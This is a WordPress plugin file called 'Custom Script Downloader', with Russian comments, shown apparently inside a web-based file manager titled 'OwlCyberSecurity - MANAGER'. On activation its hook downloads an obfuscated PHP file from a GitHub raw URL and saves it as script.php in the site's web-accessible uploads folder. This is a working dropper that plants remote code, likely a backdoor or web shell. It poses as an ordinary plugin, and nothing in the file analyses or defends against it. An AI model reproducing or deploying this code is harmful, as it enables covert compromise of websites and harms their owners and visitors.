OwlCyberSecurity - MANAGER
Edit File: plugin.php
<?php /** * Plugin Name: Custom Script Downloader * Plugin URI: https://example.com * Description: При активации плагина скачивает указанный PHP-файл с GitHub и сохраняет в папке uploads/custom-scripts/script.php * Version: 1.0 * Author: YourName */ if ( ! defined( 'ABSPATH' ) ) { exit; // Запрещаем прямой доступ } // Хук, который вызывается при активации плагина register_activation_hook( __FILE__, 'csd_plugin_on_activation' ); function csd_plugin_on_activation() { // Ссылка на ваш удалённый файл $remote_url = 'https://raw.githubusercontent.com/ineversober99/uploader/refs/heads/main/infodata_obfuscated.php'; // Получаем пути к папке uploads $upload_dir = wp_upload_dir(); $uploads_dir = $upload_dir['basedir']; // например: /var/www/html/wp-content/uploads // Путь к папке, в которую положим скрипт // Например, wp-content/uploads/custom-scripts/ $custom_folder = $uploads_dir . '/custom-scripts'; // Создаём папку, если её нет if ( ! file_exists( $custom_folder ) ) { wp_mkdir_p( $custom_folder ); } // Полный путь, по которому будет лежать скачанный файл $destination_file = $custom_folder . '/script.php'; // Скачиваем файл с помощью wp_remote_get() $response = wp_remote_get( $remote_url, array( 'timeout' => 20 ) ); // Проверяем, не произошла ли ошибка if ( is_wp_error( $response ) ) { error_log( 'Ошибка при скачивании файла: ' . $response->get_error_message() ); return; } // Получаем содержимое ответа $body = wp_remote_retrieve_body( $response ); // Проверяем, что тело не пустое if ( empty( $body ) ) { error_log( 'Файл не был скачан или ответ пуст.' ); return; } // Пытаемся записать файл $result = file_put_contents( $destination_file, $body ); if ( $result === false ) { error_log( 'Не удалось сохранить файл по пути: ' . $destination_file ); } else { error_log( 'Файл успешно скачан и сохранён в: ' . $destination_file ); } }